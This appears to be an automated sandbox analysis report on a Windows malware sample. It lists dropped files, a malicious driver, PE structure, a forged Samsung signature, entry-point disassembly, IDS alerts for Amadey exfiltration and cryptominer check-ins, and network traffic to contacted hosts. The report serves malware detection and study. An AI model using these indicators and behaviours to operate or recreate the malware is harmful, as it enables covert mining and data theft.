Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_x0g4tlq1.vzw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\xptjtnajcbas.sys

Download File

Process:	C:\ProgramData\Google\Chrome\updater.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5% Antivirus: Virustotal, Detection: 3%, Browse
Joe Sandbox View:	Filename: OTm8DpW32j.exe, Detection: malicious, Browse Filename: zufmUwylvo.exe, Detection: malicious, Browse Filename: zufmUwylvo.exe, Detection: malicious, Browse Filename: 0NSjUT34gS.exe, Detection: malicious, Browse Filename: eshkere.bat, Detection: malicious, Browse Filename: frik.exe, Detection: malicious, Browse Filename: Google Chrome.exe, Detection: malicious, Browse Filename: e7WMhx18XN.exe, Detection: malicious, Browse Filename: GcqJPBLD2Q.exe, Detection: malicious, Browse Filename: C5Lg2JSPlD.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.563142554876773
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	egFMhHSlmf.exe
File size:	5'536'856 bytes
MD5:	1417d38c40d85d1c4eb7fad3444ca069
SHA1:	27d8e2ca9537c80d1c1148830f9a6499f1e3e797
SHA256:	5f7c6cdea3c4e825af1d796cbd34b2d45b2b6fabed130e717a30a6d871993f5d
SHA512:	a169f8c5925977a984bc00a2b379205ed527777865215e4ffdfeb30084d1ed08f7bb5222db8898161f1e6151d4a75e8ccc366543cf041e47effc21dcf4c351ab
SSDEEP:	98304:z0uVyIJFN+YjxW2q0pOFklpKRDArh51NuIQIi7by2ud3RK:QucIJbx9TOFkMOL1NuIQIi7by2uRRK
TLSH:	8346222438855716F769B0F9CAE194C5CB1D39B5AF0401AF8FB6D836F40AEC891F19CA
File Content Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d......f.........."......f....R.....@..........@..............................U...........`........................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140001140
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFB086 [Fri Oct 4 09:08:22 2024 UTC]
TLS Callbacks:	0x40001760, 0x1, 0x400017e0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	b237ac2118704db9e7609540658f5790

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Symantec Class 3 Extended Validation Code Signing CA - G3, OU=Symantec Trust Network, O=Symantec Corporation, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	28/02/2019 19:00:00 28/02/2022 18:59:59
Subject Chain	CN="Samsung Electronics CO., LTD.", O="Samsung Electronics CO., LTD.", L=Suwon-si, S=Gyeonggi-do, C=KR, SERIALNUMBER=130111-0006246, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.1=Suwon-si, OID.1.3.6.1.4.1.311.60.2.1.2=Gyeonggi-do, OID.1.3.6.1.4.1.311.60.2.1.3=KR
Version:	3
Thumbprint MD5:	BD27A85108500F98F2EFCFEDCA604C05
Thumbprint SHA-1:	F0601C7ABE32E45183C7A63DA1B65EDB15B467C2
Thumbprint SHA-256:	1EC5BB5496E64686460BE37E85F67172EDCF1C3A037CEBEF98671DC6CDAABD2D
Serial:	7D7389F5AE537BB23B9C912C5F57D2F6

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00016ED5h]
mov dword ptr [eax], 00000001h
call 00007F385CB6A04Fh
nop
nop
nop
dec eax
add esp, 28h
ret
nop
inc ecx
push edi
inc ecx
push esi
push esi
push edi
push ebx
dec eax
sub esp, 20h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov edi, dword ptr [eax+08h]
dec eax
mov esi, dword ptr [00016EC9h]
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F385CB6A070h
dec eax
cmp edi, eax
je 00007F385CB6A06Bh
dec esp
mov esi, dword ptr [0001C869h]
nop word ptr [eax+eax+00000000h]
mov ecx, 000003E8h
inc ecx
call esi
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F385CB6A047h
dec eax
cmp edi, eax
jne 00007F385CB6A029h
dec eax
mov edi, dword ptr [00016E90h]
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F385CB6A04Eh
mov ecx, 0000001Fh
call 00007F385CB80164h
jmp 00007F385CB6A069h
cmp dword ptr [edi], 00000000h
je 00007F385CB6A04Bh
mov byte ptr [00545AF1h], 00000001h
jmp 00007F385CB6A05Bh
mov dword ptr [edi], 00000001h
dec eax
mov ecx, dword ptr [00016E7Ah]
dec eax
mov edx, dword ptr [00016E7Bh]
call 00007F385CB8015Bh
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F385CB6A05Bh
dec eax
mov ecx, dword ptr [00016E50h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1d6f8	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x54f000	0x3c8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x54c000	0x198	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x546400	0x1858	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x550000	0x78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x180a0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x18410	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1d8b0	0x178	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x164b6	0x16600	d03219d5f5ad4c7cfc70b9bc974b0664	False	0.44303203561452514	data	6.184866719712703	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x18000	0x5eec	0x6000	2fedb5f261c9dbe65c25a99867a8d2d9	False	0.5303955078125	data	5.114107887686323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1e000	0x52d968	0x528e00	fc80fcc82189b4d6496f3b54b94b924f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x54c000	0x198	0x200	fc487b8f37bf5b1308920cb5a80d51c4	False	0.52734375	data	3.6129282683966686	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.00cfg	0x54d000	0x10	0x200	b18c7380298e104adf73576fa46bccc1	False	0.04296875	data	0.15127132530476972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x54e000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x54f000	0x3c8	0x400	2c6a9469704cc65023e28ae6664ab248	False	0.3955078125	data	3.1182911646034395	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x550000	0x78	0x200	309655bc677064f03faa827151e8adf3	False	0.240234375	data	1.4943492802650686	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x54f060	0x368	data	English	United States	0.42545871559633025

Imports

DLL	Import
msvcrt.dll	__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, signal, strcat, strcpy, strlen, strncmp, strstr, vfprintf, wcscat, wcscpy, wcslen, wcsncmp, wcsstr
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-10T04:56:07.950720+0200	2047928	ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)	2	192.168.2.6	61214	1.1.1.1	53	UDP
2024-10-10T04:56:13.700818+0200	2044697	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3	1	192.168.2.6	49760	188.114.97.3	443	TCP
2024-10-10T04:57:08.272795+0200	2051004	ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request	2	192.168.2.6	65331	188.114.97.3	443	TCP
2024-10-10T04:58:14.573518+0200	2051004	ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request	2	192.168.2.6	65333	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 10, 2024 04:56:07.964621067 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:56:07.964710951 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:56:07.964803934 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:56:07.965301037 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:56:07.965334892 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:56:08.793833017 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:56:08.795420885 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:56:08.795449018 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:56:08.797419071 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:56:08.797511101 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:56:08.799001932 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:56:08.799092054 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:56:08.894412041 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:56:08.894452095 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:56:09.082083941 CEST	49734	443	192.168.2.6	104.26.3.16
Oct 10, 2024 04:56:09.082125902 CEST	443	49734	104.26.3.16	192.168.2.6
Oct 10, 2024 04:56:09.083427906 CEST	49734	443	192.168.2.6	104.26.3.16
Oct 10, 2024 04:56:09.093745947 CEST	49734	443	192.168.2.6	104.26.3.16
Oct 10, 2024 04:56:09.093801975 CEST	443	49734	104.26.3.16	192.168.2.6
Oct 10, 2024 04:56:09.099426985 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:56:09.099453926 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:56:09.249630928 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:56:09.558774948 CEST	443	49734	104.26.3.16	192.168.2.6
Oct 10, 2024 04:56:09.560138941 CEST	49734	443	192.168.2.6	104.26.3.16
Oct 10, 2024 04:56:09.560188055 CEST	443	49734	104.26.3.16	192.168.2.6
Oct 10, 2024 04:56:09.561769962 CEST	443	49734	104.26.3.16	192.168.2.6
Oct 10, 2024 04:56:09.561865091 CEST	49734	443	192.168.2.6	104.26.3.16
Oct 10, 2024 04:56:09.563927889 CEST	49734	443	192.168.2.6	104.26.3.16
Oct 10, 2024 04:56:09.564027071 CEST	443	49734	104.26.3.16	192.168.2.6
Oct 10, 2024 04:56:09.564084053 CEST	49734	443	192.168.2.6	104.26.3.16
Oct 10, 2024 04:56:09.564099073 CEST	443	49734	104.26.3.16	192.168.2.6
Oct 10, 2024 04:56:09.674889088 CEST	49734	443	192.168.2.6	104.26.3.16
Oct 10, 2024 04:56:09.833076954 CEST	443	49734	104.26.3.16	192.168.2.6
Oct 10, 2024 04:56:09.833262920 CEST	443	49734	104.26.3.16	192.168.2.6
Oct 10, 2024 04:56:09.833769083 CEST	49734	443	192.168.2.6	104.26.3.16
Oct 10, 2024 04:56:09.847776890 CEST	49734	443	192.168.2.6	104.26.3.16
Oct 10, 2024 04:56:09.847824097 CEST	443	49734	104.26.3.16	192.168.2.6
Oct 10, 2024 04:56:09.892834902 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:09.892926931 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:09.893002033 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:09.901251078 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:09.901287079 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:10.358515024 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:56:10.581818104 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:56:10.955677986 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:10.957190037 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:10.957237005 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:10.958883047 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:10.959070921 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:10.960973978 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:10.961074114 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:10.961244106 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:10.961253881 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:11.113102913 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:11.649880886 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:11.649946928 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:11.649966955 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:11.650053978 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:11.650064945 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:11.650083065 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:11.650151968 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:11.650152922 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:11.650152922 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:11.650152922 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:11.650252104 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:11.650315046 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:11.650674105 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:11.650695086 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:11.650748014 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:11.650748014 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:11.650770903 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:11.650796890 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:11.650823116 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:11.650845051 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:11.650859118 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:11.650998116 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:11.660660028 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:11.660691977 CEST	443	49740	83.168.108.45	192.168.2.6
Oct 10, 2024 04:56:11.660752058 CEST	49740	443	192.168.2.6	83.168.108.45
Oct 10, 2024 04:56:11.808810949 CEST	49754	443	192.168.2.6	172.67.19.24
Oct 10, 2024 04:56:11.808845043 CEST	443	49754	172.67.19.24	192.168.2.6
Oct 10, 2024 04:56:11.808908939 CEST	49754	443	192.168.2.6	172.67.19.24
Oct 10, 2024 04:56:11.825866938 CEST	49754	443	192.168.2.6	172.67.19.24
Oct 10, 2024 04:56:11.825891018 CEST	443	49754	172.67.19.24	192.168.2.6
Oct 10, 2024 04:56:12.304740906 CEST	443	49754	172.67.19.24	192.168.2.6
Oct 10, 2024 04:56:12.306025982 CEST	49754	443	192.168.2.6	172.67.19.24
Oct 10, 2024 04:56:12.306063890 CEST	443	49754	172.67.19.24	192.168.2.6
Oct 10, 2024 04:56:12.307744026 CEST	443	49754	172.67.19.24	192.168.2.6
Oct 10, 2024 04:56:12.307811022 CEST	49754	443	192.168.2.6	172.67.19.24
Oct 10, 2024 04:56:12.309776068 CEST	49754	443	192.168.2.6	172.67.19.24
Oct 10, 2024 04:56:12.309874058 CEST	443	49754	172.67.19.24	192.168.2.6
Oct 10, 2024 04:56:12.310015917 CEST	49754	443	192.168.2.6	172.67.19.24
Oct 10, 2024 04:56:12.310029984 CEST	443	49754	172.67.19.24	192.168.2.6
Oct 10, 2024 04:56:12.394294977 CEST	49754	443	192.168.2.6	172.67.19.24
Oct 10, 2024 04:56:12.687340021 CEST	443	49754	172.67.19.24	192.168.2.6
Oct 10, 2024 04:56:12.687617064 CEST	443	49754	172.67.19.24	192.168.2.6
Oct 10, 2024 04:56:12.688941956 CEST	49754	443	192.168.2.6	172.67.19.24
Oct 10, 2024 04:56:12.691453934 CEST	49754	443	192.168.2.6	172.67.19.24
Oct 10, 2024 04:56:12.691495895 CEST	443	49754	172.67.19.24	192.168.2.6
Oct 10, 2024 04:56:12.691543102 CEST	49754	443	192.168.2.6	172.67.19.24
Oct 10, 2024 04:56:12.942353964 CEST	49760	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:56:12.942421913 CEST	443	49760	188.114.97.3	192.168.2.6
Oct 10, 2024 04:56:12.942501068 CEST	49760	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:56:12.951471090 CEST	49760	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:56:12.951508045 CEST	443	49760	188.114.97.3	192.168.2.6
Oct 10, 2024 04:56:13.454374075 CEST	443	49760	188.114.97.3	192.168.2.6
Oct 10, 2024 04:56:13.455425024 CEST	49760	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:56:13.455446005 CEST	443	49760	188.114.97.3	192.168.2.6
Oct 10, 2024 04:56:13.457010031 CEST	443	49760	188.114.97.3	192.168.2.6
Oct 10, 2024 04:56:13.457088947 CEST	49760	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:56:13.458786011 CEST	49760	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:56:13.458884001 CEST	443	49760	188.114.97.3	192.168.2.6
Oct 10, 2024 04:56:13.458961010 CEST	49760	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:56:13.458976030 CEST	443	49760	188.114.97.3	192.168.2.6
Oct 10, 2024 04:56:13.519293070 CEST	49760	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:56:13.700867891 CEST	443	49760	188.114.97.3	192.168.2.6
Oct 10, 2024 04:56:13.701220989 CEST	443	49760	188.114.97.3	192.168.2.6
Oct 10, 2024 04:56:13.701353073 CEST	49760	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:56:13.722997904 CEST	49760	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:56:13.723037004 CEST	443	49760	188.114.97.3	192.168.2.6
Oct 10, 2024 04:56:20.537184000 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:56:20.597420931 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:56:32.056132078 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:56:32.191191912 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:56:43.685673952 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:56:43.894296885 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:56:59.078685999 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:56:59.285118103 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:57:07.496706963 CEST	65331	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:57:07.496798992 CEST	443	65331	188.114.97.3	192.168.2.6
Oct 10, 2024 04:57:07.497081041 CEST	65331	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:57:07.507170916 CEST	65331	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:57:07.507245064 CEST	443	65331	188.114.97.3	192.168.2.6
Oct 10, 2024 04:57:07.973392963 CEST	443	65331	188.114.97.3	192.168.2.6
Oct 10, 2024 04:57:07.974749088 CEST	65331	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:57:07.974811077 CEST	443	65331	188.114.97.3	192.168.2.6
Oct 10, 2024 04:57:07.978797913 CEST	443	65331	188.114.97.3	192.168.2.6
Oct 10, 2024 04:57:07.979082108 CEST	65331	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:57:07.980671883 CEST	65331	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:57:07.980843067 CEST	443	65331	188.114.97.3	192.168.2.6
Oct 10, 2024 04:57:07.981044054 CEST	65331	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:57:07.981105089 CEST	443	65331	188.114.97.3	192.168.2.6
Oct 10, 2024 04:57:08.037571907 CEST	65331	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:57:08.272869110 CEST	443	65331	188.114.97.3	192.168.2.6
Oct 10, 2024 04:57:08.273112059 CEST	443	65331	188.114.97.3	192.168.2.6
Oct 10, 2024 04:57:08.273430109 CEST	65331	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:57:08.301243067 CEST	65331	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:57:08.301243067 CEST	65331	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:57:08.301311970 CEST	443	65331	188.114.97.3	192.168.2.6
Oct 10, 2024 04:57:09.148890972 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:57:09.285152912 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:57:19.184792995 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:57:19.284917116 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:57:38.590034962 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:57:38.784949064 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:57:55.833451986 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:57:55.894325972 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:58:07.457417965 CEST	443	49728	141.94.96.144	192.168.2.6
Oct 10, 2024 04:58:07.597558022 CEST	49728	443	192.168.2.6	141.94.96.144
Oct 10, 2024 04:58:13.833112955 CEST	65333	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:58:13.833226919 CEST	443	65333	188.114.97.3	192.168.2.6
Oct 10, 2024 04:58:13.833337069 CEST	65333	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:58:13.835948944 CEST	65333	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:58:13.835988998 CEST	443	65333	188.114.97.3	192.168.2.6
Oct 10, 2024 04:58:14.295286894 CEST	443	65333	188.114.97.3	192.168.2.6
Oct 10, 2024 04:58:14.297399998 CEST	65333	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:58:14.297440052 CEST	443	65333	188.114.97.3	192.168.2.6
Oct 10, 2024 04:58:14.300668955 CEST	443	65333	188.114.97.3	192.168.2.6
Oct 10, 2024 04:58:14.300790071 CEST	65333	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:58:14.302176952 CEST	65333	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:58:14.302262068 CEST	443	65333	188.114.97.3	192.168.2.6
Oct 10, 2024 04:58:14.302452087 CEST	65333	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:58:14.302469969 CEST	443	65333	188.114.97.3	192.168.2.6
Oct 10, 2024 04:58:14.347418070 CEST	65333	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:58:14.573539972 CEST	443	65333	188.114.97.3	192.168.2.6
Oct 10, 2024 04:58:14.573662043 CEST	443	65333	188.114.97.3	192.168.2.6
Oct 10, 2024 04:58:14.576139927 CEST	65333	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:58:14.582097054 CEST	65333	443	192.168.2.6	188.114.97.3
Oct 10, 2024 04:58:14.582133055 CEST	443	65333	188.114.97.3	192.168.2.6
Oct 10, 2024 04:58:14.582165956 CEST	65333	443	192.168.2.6	188.114.97.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 10, 2024 04:56:07.950720072 CEST	61214	53	192.168.2.6	1.1.1.1
Oct 10, 2024 04:56:07.960619926 CEST	53	61214	1.1.1.1	192.168.2.6
Oct 10, 2024 04:56:09.071942091 CEST	62588	53	192.168.2.6	1.1.1.1
Oct 10, 2024 04:56:09.080779076 CEST	53	62588	1.1.1.1	192.168.2.6
Oct 10, 2024 04:56:09.881417036 CEST	58552	53	192.168.2.6	1.1.1.1
Oct 10, 2024 04:56:09.892271996 CEST	53	58552	1.1.1.1	192.168.2.6
Oct 10, 2024 04:56:11.799189091 CEST	62975	53	192.168.2.6	1.1.1.1
